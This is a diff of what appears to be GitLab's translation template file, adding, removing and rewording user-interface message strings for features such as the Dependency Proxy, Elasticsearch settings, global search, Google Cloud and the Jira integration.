+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
